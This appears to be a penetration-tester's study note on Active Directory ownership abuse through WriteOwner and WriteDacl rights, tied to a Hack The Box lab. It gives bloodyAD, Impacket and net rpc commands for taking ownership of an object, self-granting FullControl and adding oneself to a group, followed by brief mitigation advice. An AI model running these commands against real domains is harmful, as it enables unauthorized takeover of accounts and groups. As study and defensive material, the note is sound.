đź§ Active Directory - Ownership Abuse (WriteOwner & WriteDacl)
What is it?
- Concept:
WriteOwnerlets a principal change an AD object’s owner to themselves;WriteDacllets a principal write new entries directly onto an object’s DACL. Neither one is the powerful right ([[Active Directory - ACL Abuse (GenericAll & ForceChangePassword)|GenericAll]],GenericWrite) itself — but each is a reliable path to granting yourself one, since object owners implicitly get DACL-editing rights, and DACL-editing rights let you write literally any ACE you want, includingGenericAllfor yourself. - Impact:
WriteOwnerorWriteDaclon an object is functionally equivalent to already holdingGenericAllon it — it just takes one or two extra LDAP writes to make that explicit.
How it works
- Via
WriteOwner: take ownership of the target object, reassigning it to a principal the attacker controls. Object owners implicitly have rights to modify that object’s own DACL, regardless of what the DACL currently says. - Via
WriteDacl(either held directly, or unlocked by step 1): write a new ACE onto the target’s DACL granting the attacker’s principalGenericAll(or any narrower right that’s actually needed). - From there, the target is controlled exactly as if the attacker had held
GenericAllon it from the start — reset a password, add themselves to a group, or (if the target is a group) add themselves as a member.
Exploitation
Prerequisites
WriteOwnerorWriteDaclon the target object (user, group, or computer)
Attack Vectors
# 1a. WriteOwner path — take ownership of the target (bloodyAD)
bloodyAD --host '<dc_ip>' -d '<domain>' -u '<user>' -p '<pass>' set owner '<target>' '<user>'# 1b. Impacket equivalent, also usable directly if WriteDacl is already held
impacket-owneredit -action write -new-owner '<user>' -target '<target>' '<domain>'/'<user>':'<pass>'# 2. WriteDacl — self-grant FullControl now that ownership (or WriteDacl) applies
impacket-dacledit -action write -rights 'FullControl' -principal '<user>' -target '<target>' '<domain>'/'<user>':'<pass>'# 3. If the target is a group, add yourself as a member now that control is confirmed
net rpc group addmem '<target_group>' '<user>' -U '<domain>'/'<user>'%'<pass>' -S '<dc_ip>'Notes
impacket-dacleditbacks up the original DACL to a timestamped.bakfile before writing — worth keeping as both a restore point and evidence of exactly what was changed.- This chain is frequently the first hop in a longer path rather than the final objective — taking control of a group via ownership abuse is often only valuable because that group itself holds
GenericWrite/GenericAllsomewhere further along, as surfaced by BloodHound.
Mitigation
- Fix: Audit
WriteOwner/WriteDaclgrants with the same seriousness asGenericAll— they’re one write away from being identical in practice. Least-privilege delegation should never hand out either right unless ownership transfer or DACL editing is the actual, specific operational need.
Related Usage
| File | Created |
|---|---|
| HTB - Certified | July 23, 2026 |
References: